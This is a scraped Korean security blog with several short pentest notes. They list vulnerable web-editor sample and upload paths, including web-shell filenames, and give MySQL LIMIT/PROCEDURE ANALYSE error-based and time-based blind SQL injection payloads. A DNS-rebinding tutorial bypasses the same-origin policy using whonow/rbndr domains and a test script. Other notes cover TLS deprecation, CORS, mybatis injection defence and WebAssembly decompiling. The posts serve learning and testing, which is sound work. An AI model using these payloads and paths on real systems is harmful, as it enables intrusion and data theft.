taesun1114.tistory.com/entry/%EC%A3%BC%EC%9A%94-Editor-%EC%83%98%ED%94%8C%ED%8E%98%EC%9D%B4%EC%A7%80-%EB%B0%8F-%EC%B7%A8%EC%95%BD%EC%A0%90-%EB%B0%9C%EC%83%9D%EA%B2%BD%EB%A1%9C

 

주요 Editor 샘플페이지 및 취약점 발생경로

에디터를 사용할 때, 설치 후 샘플페이지 및 주요취약점이 발생하는 페이지를 삭제하지 않고 사용할 경우 해당 경로를 통해 취약점이 발생합니다. 아래는 대표적으로 취약점이 발생하는 경로입

taesun1114.tistory.com

https://itinformation.tistory.com/125

 

웹서버 web editor 취약점 및 샘플페이지

※ 주의 : 본 포스팅의 내용을 악용할 시 법적 문제를 야기할 수 있으므로, 반드시 법적 테두리 안에서 허용되는 경우에만 사용하시기 바랍니다. 웹 서버에 게시판 SW(웹 에디터)에 대한 취약점을

itinformation.tistory.com

에디터를 사용할 때, 설치 후 샘플페이지 및 주요취약점이 발생하는 페이지를 삭제하지 않고 사용할 경우 해당 경로를 통해 취약점이 발생합니다.

 

아래는 대표적으로 취약점이 발생하는 경로입니다.

 

주로 발생하는 에디터 종류로는

1. Smart Editor (네이버)

2. Namo Cross Editor(지란지교소프트)

3. 나모 웹 에디터(나모인터랙티브)

각 Web Editor 별로 최신버전의 업데이트가 필요합니다.

 

1. Smart Editor

 - 이미지 업로드 취약점 등이 제거된 최신버전(2.9.1 이상)으로 업데이트 필요

 - 2.9.0 버전부터 취약한 이미지 업로드 예제용 샘플 페이지를 제거하고 배포중

 - 구버전 운영중인 경우 이미지 업로드 샘플파일 존재여부 확인 후 제거

 - sample > photo_uploader 디렉터리에 샘플파일이 존재

 

2. 나모 웹에디터 및 크로스에디터

 - 샘플페이지에 첨부기능을 활용하여 업로드 공격이 가능

 - 최신 버전의 나모 웹에디터, 크로스에디터로 업데이트 필요

 - 3.5.1.14 및 4.2.0.12 버전 이상에서 업로드 취약점 패치 공지

 

CHEditor 

 /editor/popup/image.html

 /cheditor/

 /core/editor/

 /board/cheditor/

 /js/cheditor/

 /cheditor4/

 /ko/cheditor4/

 /cheditor5/

 /cheditor/example/newpost.html
 /cheditor/example/modifiy.html
 /cheditor/example/multi.html
 /cheditor/imageUpload/upload.jsp

 CKEditor

 /ckeditor/
 /ckfinder/
 /ckfinder/ckfinder.html
 ckeditor/upload.jsp
 /ckeditor/_samples/

 /ckeditor/samples/

 /ckeditor/_samples/index.html
 /ckeditor/samples/index.html
 /skins/ckeditor/

 /_sys/_plugin/cke

 Namo CrossEditor

/namo/ 
 /namo/index.html
 /namo/manage/index.html
 /crosseditor/

 /crosseditor/manager/

 /crosseditor/index.html
 /crosseditor/manage/index.html
 /crosseditor/manage/jsp/manager_setting.jsp
 /crosseditor/binary/upload/devshell.jsp
 /crosseditor/binary/upload/cmd.jspx
 /resources/crosseditor/
 /resources/crosseditor/index.html
 /resources/component/crosseditor/index.html

 DaumEditor

 /daumeditor/
 /_moduel/daumeditor/
 /daumeditor/editor.html

 dext5Editor

/DEXTUpload/ 

 /dext5/
 /dext5upload/
 /dext5upload/sample/
 /com/dext5upload/
 /dext5upload/sample/index.html
 /dext5Upload/sample/html/sample_upload.html
 /dext5editor/admin/jsp/login.jsp
 /dext5editor/admin/jsp/uploader_setting.jsp
 /samples/index.html
 /aspupload/
 /aspupload/file_upload.html

 FCKEditor

 /fck/editor/
 /FCKeditor/
 /js/fckeditor/
 /feditor/editor/fckeditor.html
 /fckeditor/editor/filemanager/browser/default/browser.html
 /fckeditor/editor/filemanager/connectors/test.html
 /fckeditor/editor/filemanager/connectors/uploadtest.html
 /editor/filemanager/browser/default/browser.html
 /editor/editor/filemanager/browser/default/browser.html
 /HtmlEditor/_samples/default.html

 SmartEditor

 /js/se2/SmartEditor2.html
 /nse/SmartEditor2.html
 /SmartEditor2.html
 /SmartEditorBasic/
 /SmartEditor2/
 /SmartEditorBasic/SEditorDemo.html
 /SEditor/popup/quick_photo/imgupload.jsp
 /smarteditor/photo_uploader/popup/file_uploader_html5.php
 /SE2/photo_uploader/popup/file_uploader_html5.php
 /smarteditor2/photo_uploader/popup/file_uploader_html5.php
 /smarteditor/popup/quick_photo/FileUploader_html5.php
 /plugin/smarteditor2/photo_uploader/popup/file_uploader_html5.php

 

좋아요9

공유하기

글 요소

구독하기

 



출처: https://taesun1114.tistory.com/entry/주요-Editor-샘플페이지-및-취약점-발생경로 []

'' 카테고리의 다른 글

IIS cipher suite 암호 알고리즘 설정  (0) 2020.12.28
Aliexpress Captcha Reuse  (0) 2020.12.06
디피 헬만 키(Diffie Hellman Key) SSL 취약점  (0) 2020.10.30
subdomain finder  (0) 2020.10.21
TLS 1.0, 1.1 중단 일정  (0) 2020.10.12
블로그 이미지

wtdsoul

,

waspro.tistory.com/479

 

[SSL 암호화 취약점] 디피 헬만 키(Diffie Hellman Key)

이번 포스팅에서는 Web Server SSL 취약점으로 분석되는 디피 헬만 키에 대해 살펴보겠습니다. 1. 디피 헬만 키 취약점 분석 디피 헬만(Diffie-Hellman) 키 교환 프로토콜을 사용하는 TLS 연결에 취약점이

waspro.tistory.com

 

'' 카테고리의 다른 글

Aliexpress Captcha Reuse  (0) 2020.12.06
주요 Editor 샘플 페이지 및 경로  (0) 2020.11.05
subdomain finder  (0) 2020.10.21
TLS 1.0, 1.1 중단 일정  (0) 2020.10.12
Burp Suite 단축키 관련  (0) 2020.09.02
블로그 이미지

wtdsoul

,

subdomain finder

2020. 10. 21. 14:19

 

subdomainfinder.c99.nl/

 

Subdomain Finder - C99.nl

What is a Subdomain Finder? Our subdomain finder is a tool which performs an advanced scan over the specified domain and tries to find as many subdomains as possible. While scanning it also checks whether the domain is tunneling through CloudFlare. We stri

subdomainfinder.c99.nl

 

 

'' 카테고리의 다른 글

주요 Editor 샘플 페이지 및 경로  (0) 2020.11.05
디피 헬만 키(Diffie Hellman Key) SSL 취약점  (0) 2020.10.30
TLS 1.0, 1.1 중단 일정  (0) 2020.10.12
Burp Suite 단축키 관련  (0) 2020.09.02
Spring mybatis SQL 인젝션 대응  (0) 2020.08.20
블로그 이미지

wtdsoul

,

TLS 1.0, 1.1 중단 일정

2020. 10. 12. 17:15

cert.crosscert.com/%EA%B3%B5%EC%A7%80%EC%BD%94%EB%A1%9C%EB%82%9819-%EC%97%AC%ED%8C%8C%EB%A1%9C-%EC%9B%B9%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80%EB%93%A4-tls-1-0-tls-1-1-%EC%A7%80%EC%9B%90%EC%A4%91%EB%8B%A8-%EC%9D%BC/

 

[공지]코로나19 여파로 웹브라우저들 TLS 1.0 TLS 1.1 지원중단 일정연기 - SSL 인증서 발급,종류,가격�

안녕하세요. 한국전자인증 입니다. 저희 한국전자인증에서는 주요 웹브라우저들에서 TLS 1.0, TLS 1.1 지원 중단에 대한 공지를 여러차례 드렸었습니다. 코로나19 바이러스에 대한 여파로 웹브라우�

cert.crosscert.com

 

” 주요 브라우저 업체들이 2020년 상반기에 지원을 중지할 예정이었으나, 코로나19 바이러스로 기존에 발표한 TLS 1.0 및 1.1 프로토콜 지원 중지 일정이 변경되고 있습니다. “

초기 SSL Protocol을 기반으로 개발된 TLS는 클라이언트-서버 간의 통신 채널을 보호하고 암호화 하기 위해 사용되는 암호화 프로토콜입니다.

TLS는 현재 1.0, 1.1, 1.2, 1.3(최신)으로 총 4개 버전이 존재합니다. 이 중 구 버전인 TLS 1.0, 1.1은 POODLE 과 BEAST와 같은 다양한 공격에 취약하며, 프로토콜 취약점을 이용한 하이재킹(hijacking)이 발생할 수 있습니다.

변경된 TLS 1.0 TLS 1.1 프로토콜 지원 중지 일정

따라서, TLS 1.2 이상을 지원하지 않는 웹 서버를 운영 중이라면, 미리 업그레이드를 하시는 것을 권장 드립니다.인증서의 변동 사항은 없습니다.

주요 Web 서버 및 보안 솔루션 TLS 1.2 지원 버전

(경우에 따라 TLS 1.2 프로토콜 지원을 위해 관련 라이브러리 혹은 펌웨어 업데이트가 필요할 수 있습니다.)

 

 

'' 카테고리의 다른 글

디피 헬만 키(Diffie Hellman Key) SSL 취약점  (0) 2020.10.30
subdomain finder  (0) 2020.10.21
Burp Suite 단축키 관련  (0) 2020.09.02
Spring mybatis SQL 인젝션 대응  (0) 2020.08.20
Procedure Analysis SQL 인젝션  (0) 2020.08.13
블로그 이미지

wtdsoul

,

Burp Suite 단축키 관련

2020. 9. 2. 13:01

 

m.blog.naver.com/PostView.nhn?blogId=crehacktive3&logNo=220964754861&proxyReferer=https:%2F%2Fwww.google.com%2F

 

버프 스위트(Burp Suite) 주요 단축키 및 단축키 설정

웹 사이트 진단 시 가장 많이 사용하는 도구가 버프 스위트(Burp Suite)인데 만약 단축키가 없었다면 고...

blog.naver.com

 

Step 1) "Options > Misc" 탭의 "Hotkeys" 섹션에서 "Edit hotkeys" 버튼 클릭
※ 버프스위트 1.7 버전은 "User options" 

 

그림2. Option > Misc 탭

Step 2) 해당 창에서 "Issue Repeater request" 클릭 후 원하는 단축키를 누른 뒤 "OK" 버튼 클릭(필자는 "Ctrl +q"를 하였음.) 

그림3. 단축키 설정창

Step 3) 설정 후 "Repeater" 탭에서 설정한 단축키를 누르면, "Go" 기능이 정상적으로 실행 된다.

이상 버프 스위트(Burp Suite) 주요 단축키 및 단축키 설정에 대해 살펴보았다. 단축키를 사용하게 되면, 단연 작업 속도가 더 빨라 질 것임을 보장한다~!

 

 

 

'' 카테고리의 다른 글

subdomain finder  (0) 2020.10.21
TLS 1.0, 1.1 중단 일정  (0) 2020.10.12
Spring mybatis SQL 인젝션 대응  (0) 2020.08.20
Procedure Analysis SQL 인젝션  (0) 2020.08.13
CORS (Cross Origin Resource Sharing)  (0) 2020.08.11
블로그 이미지

wtdsoul

,

 

https://sas-study.tistory.com/96

 

Spring mybatis에서 #{ }문법과 ${ }문법의 차이점(feat. SQL Injection)

안녕하세요. 오늘 공유할 내용은 Spring mybatis에서 사용하는 #{} 문법과 ${} 문법의 차이와 ${}문법을 사용했을때 발생할 수 있는 SQL Injection이라는 해킹 방법에 대하여 내용을 공유하고자 합니다. 먼

sas-study.tistory.com

http://apollo89.com/wordpress/?p=2175

 

mybatis sql injection 취약점 » Apollo89.com

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니��

apollo89.com

- 입력 값을 반드시 검증 후 사용

- $ 파라미터 대신 # 파라미터를 사용

 

'' 카테고리의 다른 글

TLS 1.0, 1.1 중단 일정  (0) 2020.10.12
Burp Suite 단축키 관련  (0) 2020.09.02
Procedure Analysis SQL 인젝션  (0) 2020.08.13
CORS (Cross Origin Resource Sharing)  (0) 2020.08.11
DNS Rebinding 을 이용한 우회  (0) 2020.08.10
블로그 이미지

wtdsoul

,

 

https://tempuss.tistory.com/entry/Limit-%EC%A0%88%EC%97%90%EC%84%9C%EC%9D%98-SQL-Injection

 

Procedure analyse()를 이용한 SQL Injection

[LIMIT {[ offset ,] row_count | row_count OFFSET offset }] [PROCEDURE procedure_name ( argument_list )] [INTO OUTFILE ' file_name ' [CHARACTER SET charset_name ] export_options | INTO DUMPFILE ' fil..

tempuss.tistory.com

https://www.hides.kr/284

 

Limit 구문에서의 SQL Injection

rubiya의 LOS 를 풀다가 알게된 기법을 적으려 한다. 이 기법은 사용자의 입력값이 아래와 같이 LIMIT 절 다음에 들어갈 시 사용할 수 있는 취약점이다. SELECT * FROM member WHERE id='guest' LIMIT {user input..

www.hides.kr

참고

CTF가 아닌 현업에서 실제로 실행된 사례가 있어서 참고함

 

 

그중에서 사용되는 함수는 다양하지만

extractvalue()라는 함수가 있습니다.

 

mysql> SELECT * FROM user WHERE id='admin' limit 1 procedure analyse(extractvalue(1,concat(0x3a,version())),1); ERROR 1105 (HY000): XPATH syntax error: ':5.1.41-community' mysql>

 

이렇게 하면 version을 뽑을 수 있습니다.

그 외에도 information_schema에 접근하여 DB와 테이블명에 대해서도 뽑아 올 수 있습니다. 

 

쿼리)

procedure%20analyse(extractvalue(1,concat(0x3a,version())),1) 

 

 

- error base

mysql SELECT id FROM test WHERE id='admin' limit 0,1 procedure analyse(extractvalue(1, concat(0x3a, version())), 1);

ERROR 1105 (HY000): XPATH syntax error: ':5.1.41-community'

 

- blind

mysql > SELECT id FROM test WHERE id='admin' limit 0,1 procedure analyse(extractvalue(1, concat(0x3a, (if(mid(version(),1,1) like 5, sleep(5),1))), 1);

 

 

limit 1 procedure analyse(extractvalue(1,concat(0x3a,if(ascii(substr(version(),1,1))>10,sleep(1),0))),1);

-> Only constant XPATH queries are supported

sleep 함수대신 benchmark 함수를 써본다.

 

limit 1 procedure analyse(extractvalue(1,concat(0x3a,if(ascii(substr(version(),1,1))>10,benchmark(1000000,sha('a')),0))),1);

 

성공적으로 시간지연이 일어나고 한글자씩 추출해낼 수 있다.

 

 

'' 카테고리의 다른 글

Burp Suite 단축키 관련  (0) 2020.09.02
Spring mybatis SQL 인젝션 대응  (0) 2020.08.20
CORS (Cross Origin Resource Sharing)  (0) 2020.08.11
DNS Rebinding 을 이용한 우회  (0) 2020.08.10
Web Assembly 시작  (0) 2020.08.09
블로그 이미지

wtdsoul

,

https://medium.com/@woody_dev/cors-cross-origin-resource-sharing-cea401fb79b6

 

CORS(Cross Origin Resource Sharing)

CORS란 무엇인가?

medium.com

 

 

CORS(Cross Origin Resource Sharing)는 브라우저가 XHR(XMLHttpRequest)을 이용해 Cross-Origin 요청이 가능하여, 서로 다른 도메인(사이트) 간 자원을 공유할 수 있게 해주며, 특정 조건들이 만족할 경우 동일 출처 정책(SOP : Same Origin Policy)에 의한 제한을 완화하는 데 사용될 수 있습니다.

 

 

동일 출처 정책(SOP : Same Origin Policy)은 보안 상의 이유로, 브라우저들의 스크립트 내에서 초기화되는 cross-origin HTTP 요청을 제한하는 것으로 다른 웹페이지에서 접근할 때는 동일한 출처, 즉 프로토콜, 호스트명, 포트가 같은 웹페이지에만 접근이 가능합니다. 예를 들면, XMLHttpRequest는 동일 출처 정책을 따르기에, XMLHttpRequest을 사용하는 웹 애플리케이션은 자신과 동일한 도메인으로 HTTP 요청을 보내는 것만 가능합니다. 즉, 웹페이지의 스크립트는 그 페이지와 같은 서버에 있는 주소만 ajax 요청을 할 수 있습니다.

 

 

 

'' 카테고리의 다른 글

Spring mybatis SQL 인젝션 대응  (0) 2020.08.20
Procedure Analysis SQL 인젝션  (0) 2020.08.13
DNS Rebinding 을 이용한 우회  (0) 2020.08.10
Web Assembly 시작  (0) 2020.08.09
Oauth 개념과 원리  (0) 2020.08.09
블로그 이미지

wtdsoul

,

https://kookhh0827.tistory.com/entry/Webhacking-SOPSame-Origin-Policy-%EC%86%8C%EA%B0%9C%EC%99%80-DNS-rebinding%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%9A%B0%ED%9A%8C%EB%B2%95%EC%8B%A4%EC%8A%B5-%ED%8F%AC%ED%95%A8

 

[Webhacking] SOP(Same Origin Policy) 소개와 DNS rebinding을 이용한 우회법(실습 포함)

XSS나 CSRF를 시도하다 보면 마주치게 되는 웹 보안 정책이 두가지가 있습니다. SOP(Same Origin Policy)와 CSP(Content Security Policy)가 바로 그 대상입니다. 이 둘은 기초적인 웹 보안 정책이면서, XSS나 CSR..

kookhh0827.tistory.com

https://savni.tistory.com/entry/DNS-Rebinding%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-Transmission-%EC%B7%A8%EC%95%BD%EC%A0%90-%EB%B6%84%EC%84%9D

 

DNS Rebinding을 이용한 Transmission 취약점 분석

페이스북을 눈팅만 하다가 뭐할거 없나 하다가 발견했던 게시물중 DNS Rebinding에 대해 처음 들어봐서 분석을 시작하게 되었습니다. 주의 : 이글은 웹알못 넷알못 컴알못이 작성한 글이므로 잘못��

savni.tistory.com

위 경로 참고

 

XSS나 CSRF를 시도하다 보면 마주치게 되는 웹 보안 정책이 두가지가 있습니다.

SOP(Same Origin Policy)와 CSP(Content Security Policy)가 바로 그 대상입니다.

 

이 둘은 기초적인 웹 보안 정책이면서, XSS나 CSRF를 막아주는 중요한 녀석들입니다.

CTF와 같은 실전에서 이를 우회하기 위해서는 이 정책들을 정확하게 알고, 대처하는 방법을 알아두는 것이 좋습니다.

이번 포스트에서는 이 둘중 SOP를 소개하고,

이를 우회하는 방법으로 잘 알려진 DNS rebinding을 자세하게 알려드리도록 하겠습니다.

 

SOP(Same Origin Policy)란?
다른 출처 간 자원 접근 차단 정책

Same Origin Policy를 이해하기 위해서는 먼저 여기서 말하는 Origin이 무엇인지 정확하게 알고 있어야 합니다.

 

웹보안 정책에서 Origin(출처)는 Scheme, Host, Port 이 세가지로 구성되어 있습니다.

이에 대한 것은 Mozilla의 문서에서도 확인할 수 있습니다(https://developer.mozilla.org/ko/docs/Web/Security/Same-origin_policy)

 

먼저 Scheme은 http://나 https://나 ftp://와 같은 URI의 맨 앞에 붙는 문자열을 의미합니다.

이는 클라이언트에서 이를 처리하는 방식을 지정해줍니다. http가 붙으면 해당 프로토콜로 작동하는 것처럼요.

 

다음으로 Host는 "www.tistory.com"이나 "www.google.com"과 같은 도메인을 의미합니다.

이 뒤에 붙는 /index.html과 같은 PATH는 Host에 포함되지 않습니다.

 

마지막으로 Port는 말 그대로 포트입니다. 도메인은 IP와 대응되고, 이 뒤에 포트를 지정해 줄 수 있죠.

"www.tistory.com:8081"과 같이 도메인 뒤에 붙여 접속할 포트번호를 지정할 수 있습니다.

 

아래는 이와 관련된 예제입니다. 이를 보시면 쉽게 이해하실 수 있습니다.

 

기본 출처 : http://kookhh.ml (80포트)

1번 : http://kookhh.ml/some_dir/index.php -> O
2번 : https://kookhh.ml -> X (Scheme이 다름)
3번 : http://google.com -> X (Host가 다름)
4번 : http://kookhh.ml:4301 -> X (Port가 다름)

 

kookhh.ml에서 www.naver.com로 요청해도 응답 안줌!

CORS(Cross Orgin Resource Sharing) policy 때문에 XMLHttpRequest가 차단되었다는 메세지입니다.

 

API같은걸 만드는 개발자 입장에서는 이를 해결하기 위해서는 위의 에러 메세지에 적힌 것과 같이 Access-Control-Allow-Origin 헤더를 보내서, 접근을 허용하는 Origin을 정해주면 됩니다.

또는 JSONP를 이용하거나, 서브도메인 간의 접근을 위해서는 document.domain을 이용하는 방법도 있습니다.

하지만 이런 내용은 해킹과는 크게 연관이 없기 때문에 여기에서 다루지는 않겠습니다.

 

 

 

 

DNS Rebinding Attack 소개
강력한 SOP 우회법

XSS를 할 때는 SOP는 별로 문제가 되지 않을 수 있지만,

CTF에서는 XSS 되는 곳과, 플래그가 숨겨진 곳의 Origin이 다를 때도 있습니다.

이는 Defcon CTF 2019 Quals의 ooops라는 문제에서도 등장한 적이 있습니다(해당 문제 라이트업 : https://ctftime.org/task/8528)

 

사실 CSRF 공격에서도 문제가 되지 않을 때가 있습니다.

그냥 요청만 보내는 것은 SOP에서 막지 않기 때문이에요, 게시글 수정, 삭제, 비밀번호 변경 등의 요청은 이 정책에 구애받지 않고 할수 있어요.

 

하지만 CSRF 토큰을 이용해서 막아뒀다거나, 다른사이트의 쿠키값같은걸 들고오고 싶다면(DOM에 접근하고 싶다면) 당연히 SOP를 우회해서 공격해야 합니다. 

 

여기서 보통 일반적으로 생각할 수 있는 방법이 DNS Rebinding 공격입니다.

DNS Rebinding Attack
악의적인 사이트의 도메인에 할당된 IP를 잠재적인 희생자가 사이트에 들어와있는 동안 공격하고자 하는 사이트의 IP로 바꾸어 Same Origin Policy를 우회하는 방법

이 공격을 하기 위해서는 악의적인 DNS 서버를 하나 파서,

낮은 주기의 TTL로 A라는 도메인에 할당된 아이피가 a라는 IP와 b라는 IP 사이를 왔다갔다 해야합니다.

 

간단한 공격 순서도

 

위 사진이 공격 순서입니다.

 

먼저 희생자(Victim)이 Domain A로 연결합니다. 브라우저는 이 Domain A의 IP를 얻기 위해 DNS 서버에 요청을 보냅니다.

그러면 악의적인 DNS 서버에서 이에 대한 IP가 111.111.111.111이라고 알려줍니다.

이 IP는 우리가 만든 악의적인 스크립트가 심어진 악의적인 페이지입니다.

 

여기서 잠시 뒤에 스크립트가 실행됩니다. 이 스크립트는 Domain A로 요청을 보내고, 응답을 읽어들입니다.

하지만 Domain A에 대한 ttl이 낮아서, 다시한번 브라우저는 IP를 얻기 위해 DNS 서버에 요청을 보냅니다.

 

이번에는 악의적인 DNS 서버에서 이 도메인의 IP가 222.222.222.222라고 알려줍니다.

이제 브라우저가 스크립트를 실행시키는데, Domain A의 IP가 222.222.222.222로 바뀌었기 때문에 실제로 요청은 희생양이 될 사이트로 보내지게 됩니다.

 

브라우저 입장에서는 Domain은 A로 똑같기 때문에, Same Origin Policy에 위배되지 않는다고 생각하고 응답을 읽어들일 수 있도록 허용해줍니다. scheme이나 port는 당연히 똑같이 맞춰줘야겠죠.

 

이렇게 해서 희생자가 사이트에 들어가는 순간의 Domain A에 할당된 IP가 111.111.111.111,

악성 스크립트가 동작하는 순간의 Domain A의 IP가 222.222.222.222로 브라우저에게 인식된다면 공격 성공입니다.

 

DNS Rebinding Attack을 위한 DNS Server 소개
whonow, rbndr

이제 이걸 배웠으니 실습을 해보고 싶은데 dns 서버를 직접 파는것은 굉장히 귀찮은 일입니다.

 

그래서 이미 똑똑한 사람들이 이 공격을 쉽게 할 수 있도록 dns 서버를 만들어 놨습니다.

사용법도 굉장히 간단합니다.

 

먼저 whonow입니다.

# respond to DNS queries for this domain with 34.192.228.43 the first time
# it is requested and then 192.168.1.1 every time after that
A.34.192.228.43.1time.192.168.1.1.forever.rebind.network

# respond first with 34.192.228.43, then 192.168.1.1 the next five times,
# and then start all over again (1, then 5, forever...)
A.34.192.228.43.1time.192.168.1.1.5times.repeat.rebind.network

관련 소스는 https://github.com/brannondorsey/whonow 에서 확인할 수 있습니다.

 

A.<ip-address>.<rule>[.<ip-address>.<rule>[.<ip-address>.<rule>]][.uuid/random-string].example.com

사용법은 위와같이 굉장히 간단합니다.

 

A.127.0.0.1.1time.172.217.31.174.1time.repeat.[내 uuid].rebind.network

테스트로 위와 같은 도메인을 확인해보겠습니다.

 

127.0.0.1과 172.217.31.174가 반복된다

 

whonow는 사용법이 조금 더 복잡한 대신 작동하는 방식을 원하는대로 고를 수 있습니다.

 

다음으로 소개드릴 rbndr은 주기적으로 두개의 IP를 응답해서 보내는 것만 지원하지만,

사용법은 매우 간단합니다.

 

base16으로 ip 두개만 넣어주면 된다

관련 소스는 https://github.com/taviso/rbndr 에서 확인할 수 있습니다.

 

<ipv4 in base-16>.<ipv4 in base-16>.rbndr.us

사용법은 위와 같은데 base16을 자동으로 계산해서 url을 만들어주는 사이트도 있습니다.

https://lock.cmpxchg8b.com/rebinder.html

7f000001.acd91fae.rbndr.us

테스트로 위와 같은 도메인을 resolving 해보겠습니다.

 

172.217.31.174와 127.0.0.1이 반복된다

두 서비스 모두 아주 잘 동작하고 있는 것을 알 수 있습니다.

 

 

 

 

실습
브라우저의 캐시와 같은 환경을 고려해야 한다

DNS Rebinding은 상황에 따라 아주 강력한 공격법이 될 수 있습니다.

 

하지만 그전에 항상 간단하게 SOP를 우회할 방법이 있지 않을까 생각해봐야 합니다.

 

예를들어 2019 사이버작전 경연대회에 나온 The Camp라는 문제도 CSP(Content Security Policy)때문에 object 같은걸로 외부의 스크립트를 끌어와서 문제 사이트를 방문하는 봇의 쿠키를 털어야 했는데,

문제 사이트 내에서 특정 페이지에는 이 CSP가 작동하지 않아서 쉽게 해결할 수 있었거든요(해당 문제 라이트업 : https://kookhh0827.tistory.com/6)

 

그리고 앞서 말씀드린 Defcon CTF 2019 qulas - ooops 에서도 문제의 특수한 환경(프록시) 때문에 같은 도메인에 스크립트를 심어서 SOP를 우회하는 방법이 있었습니다.

 

이렇게 말하는 이유는 상황에 따라 공격이 어려울 수 있기 때문입니다.

 

주요한 원인이 브라우저의 캐시인데, 크롬 브라우저는 1분 정도 DNS 캐시를 유지한다고 합니다.

(참고 : https://stackoverflow.com/questions/36917513/how-long-google-chrome-and-firefox-cache-dns-records)

 

DNS 서버에서 바로바로 IP를 바꾸더라도 실제 적용은 1분 뒤에 되기 때문에, 시간적인 제약이 따릅니다.

 

실습을 위해 이를 실제로 실험해봤습니다.

 

<script>
function sleep(ms) { //sleep을 위한 함수
  return new Promise(resolve=>setTimeout(resolve, ms));
}


var count = 0;
async function send_test() {
	await sleep(5000); //5초 기다림
	var xhr = new XMLHttpRequest(); //새로운 XML요청 객체 생성
	xhr.onreadystatechange = function() { //응답이 왔을때 실행될 함수
		if (xhr.readyState === xhr.DONE) { 
			if (xhr.status === 200 || xhr.status === 201) {
				console.log(xhr.responseText); //응답을 콘솔에 찍는다
				count += 1;
				if(count < 30){send_test();}
			} else {
				console.error(xhr.responseText);
				count += 1;
				if(count < 30){send_test();}
			}
		}
	};
	xhr.open('GET', '/'); //본인 host의 '/'로 요청
	xhr.send(); //요청 보냄
} 
send_test();

</script>

간단한 소스코드입니다.

 

5초마다 XMLHttpRequest로 본인의 도메인에 '/'로 요청을 보내서 응답을 읽어옵니다.

총 30번정도 시도하도록 했습니다.

 

whonow를 이용해서 시도했고,

테스트는 제 개인 서버인 kookhh.ml(119.202.94.170)로 했으며

DNS Rebinding으로 정보를 긁어오는 곳은 google.com(172.217.31.174)입니다.

 

A.119.202.94.170.1time.172.217.31.174.1time.repeat.[내 UUID].rebind.network

 

이런식으로 만들어서 테스트했습니다.

 

처음엔 119.202.94.170으로 연결된다

11번 뒤(약 1분 뒤)에 172.217.31.174로 바뀌었다

그 결과 크롬 브라우저(버전 76.0.3809.100(공식 빌드) (64비트)) 에서 약 1분정도 뒤에 IP가 바뀌어 구글로 요청이 보내지는 것을 알 수 있었습니다.

 

그리고 해당 사이트의 응답 또한 console에 잘 찍힙니다.

이 말은 SOP를 우회하고, 희생자의 로컬에서 제가 원하는 동작을 마음껏 하게 한 뒤

응답값까지 정상적으로 읽어올 수 있다는 것입니다.

 

단 1분만 사용자가 악의적인 사이트에 접속해 있도록 하면 됩니다.

'' 카테고리의 다른 글

Procedure Analysis SQL 인젝션  (0) 2020.08.13
CORS (Cross Origin Resource Sharing)  (0) 2020.08.11
Web Assembly 시작  (0) 2020.08.09
Oauth 개념과 원리  (0) 2020.08.09
SSRF Types And Ways To Exploit It (Part-1)  (0) 2020.08.09
블로그 이미지

wtdsoul

,

Web Assembly 시작

2020. 8. 9. 23:03

https://d2.naver.com/helloworld/8786166

 

진행 중

 

  • WebAssembly Studio: 온라인 IDE(integrated development environment)를 사용해 C와 Rust, AssemblyScript 등으로 WebAssembly 코드를 작성해 볼 수 있는 플레이그라운드 사이트이다.
  • Extending the browser with WebAssembly: Alliance for Open Media AV1 비디오 코덱의 소스 코드를 감싸는 래퍼(wrapper)를 빌드해 브라우저에서 코덱을 실행할 수 있게 하는 과정을 소개하는 글이다.
  • Emscripten and npm: 일반적인 웹 애플리케이션 프로젝트에 WebAssembly 모듈을 통합하기 위해 준비해야 하는 설정을 설명하는 글이다.

 

https://www.hahwul.com/2018/10/06/hacking-security-analysis-web-assembly/

 

Hacking & Security Analysis Web Assembly(웹 어셈블리 해킹/보안분석)

Security engineer, Bugbounty hunter, Developer and... H4cker

www.hahwul.com

https://www.wasm.com.cn/demo/Tanks/

 

Unity WebGL Player | Tanks!

 

www.wasm.com.cn


https://i.blackhat.com/us-18/Thu-August-9/us-18-Lukasiewicz-WebAssembly-A-New-World-of-Native_Exploits-On-The-Web-wp.pdf

 

 

https://github.com/WebAssembly/wabt/tree/master/wasm2c

 

WebAssembly/wabt

The WebAssembly Binary Toolkit. Contribute to WebAssembly/wabt development by creating an account on GitHub.

github.com

웹어셈블리를 C언어로 변환해주는 툴

 

 

wasm2c test.wasm -o test.c 커맨드를 실행하면 test.c과 헤더 파일인 test.h가 발생

사실 test.c 자체도 문법적 오류가 없지만 (!), 웹어셈블리에서 import가 존재하는 경우 링커에서 unresolved reference 에러가 나게 됩니다.

해결법은 다행히 간단한데, 헤더에 있는 선언들이 공간을 갖도록 해주면 됩니다.

sed -i 's/^extern //g' test.h 그리고, 컴파일을 해줍니다. 단 C 생성을 위해 쓰인 여러 런타임 함수들이 구현되어있는 wasm2c/wasm-rt-impl.c 파일도 같이 컴파일해줍니다.

gcc test.c /wasm-rt-impl.c -o test --shared -fPIC 이러면 이제 디컴파일이 가능한 ELF 파일이 나옵니다, 웹어셈블리는 개발자 도구를 통해 디버깅 할 수 있습니다.

 

'' 카테고리의 다른 글

CORS (Cross Origin Resource Sharing)  (0) 2020.08.11
DNS Rebinding 을 이용한 우회  (0) 2020.08.10
Oauth 개념과 원리  (0) 2020.08.09
SSRF Types And Ways To Exploit It (Part-1)  (0) 2020.08.09
JSP SQL 인젝션 대응방안  (0) 2020.08.08
블로그 이미지

wtdsoul

,